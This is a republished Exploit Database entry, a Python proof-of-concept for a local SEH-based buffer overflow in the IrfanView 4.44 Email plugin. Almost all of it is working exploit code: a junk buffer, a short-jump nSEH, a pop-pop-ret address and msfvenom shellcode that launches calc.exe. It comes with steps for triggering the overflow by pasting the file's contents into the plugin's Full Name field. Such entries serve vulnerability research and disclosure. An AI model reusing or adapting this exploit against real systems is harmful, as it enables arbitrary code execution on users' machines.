IrfanView 4.44 Email Plugin – Buffer Overflow (SEH)

• Exploit Database
• 122 阅读

• 作者： bzyo
  日期： 2018-03-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44217/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

  #!/usr/bin/python   # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: IrfanView 4.44 Email PlugIn - Local Buffer Overflow (SEH) # Date: 02-07-2018 # Vulnerable Software: IrfanView 4.44 Email PlugIn # Vendor Homepage: http://www.irfanview.com/ # Version: 4.44 # Software Link: http://www.irfanview.info/files/irfanview_444.exe # Software Link: http://www.irfanview.info/files/irfanview_plugins_444.zip # Tested On: Windows XP SP3 x86 and Windows 7 SP1 x86 # # PoC # 1. generate irfan.txt, copy contents to clipboard # 2. open IrfanView and a sample image from My Pictures (i.e. Chrysanthemum.jpg) # 3. select Options, Send by Email, Settings # 4. paste contents from clipboard into Full Name and select OK # 5. application crashes # 6. pop calc #   filename="irfan.txt"   junk = "\x41"*1236   #jump 6 nseh = "\xeb\x06\x90\x90"   #0x10021420 : pop ebp # pop ebx # ret seh = "\x20\x14\x02\x10"   #msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f c #Payload size: 220 bytes calc = ( "\xda\xdf\xba\x32\x98\xc1\x8e\xd9\x74\x24\xf4\x58\x31\xc9\xb1" "\x31\x83\xe8\xfc\x31\x50\x14\x03\x50\x26\x7a\x34\x72\xae\xf8" "\xb7\x8b\x2e\x9d\x3e\x6e\x1f\x9d\x25\xfa\x0f\x2d\x2d\xae\xa3" "\xc6\x63\x5b\x30\xaa\xab\x6c\xf1\x01\x8a\x43\x02\x39\xee\xc2" "\x80\x40\x23\x25\xb9\x8a\x36\x24\xfe\xf7\xbb\x74\x57\x73\x69" "\x69\xdc\xc9\xb2\x02\xae\xdc\xb2\xf7\x66\xde\x93\xa9\xfd\xb9" "\x33\x4b\xd2\xb1\x7d\x53\x37\xff\x34\xe8\x83\x8b\xc6\x38\xda" "\x74\x64\x05\xd3\x86\x74\x41\xd3\x78\x03\xbb\x20\x04\x14\x78" "\x5b\xd2\x91\x9b\xfb\x91\x02\x40\xfa\x76\xd4\x03\xf0\x33\x92" "\x4c\x14\xc5\x77\xe7\x20\x4e\x76\x28\xa1\x14\x5d\xec\xea\xcf" "\xfc\xb5\x56\xa1\x01\xa5\x39\x1e\xa4\xad\xd7\x4b\xd5\xef\xbd" "\x8a\x6b\x8a\xf3\x8d\x73\x95\xa3\xe5\x42\x1e\x2c\x71\x5b\xf5" "\x09\x8d\x11\x54\x3b\x06\xfc\x0c\x7e\x4b\xff\xfa\xbc\x72\x7c" "\x0f\x3c\x81\x9c\x7a\x39\xcd\x1a\x96\x33\x5e\xcf\x98\xe0\x5f" "\xda\xfa\x67\xcc\x86\xd2\x02\x74\x2c\x2b")   fill = "\x44"*1000   buffer = junk + nseh + seh + calc + fill   textfile = open(filename , 'w') textfile.write(buffer) textfile.close()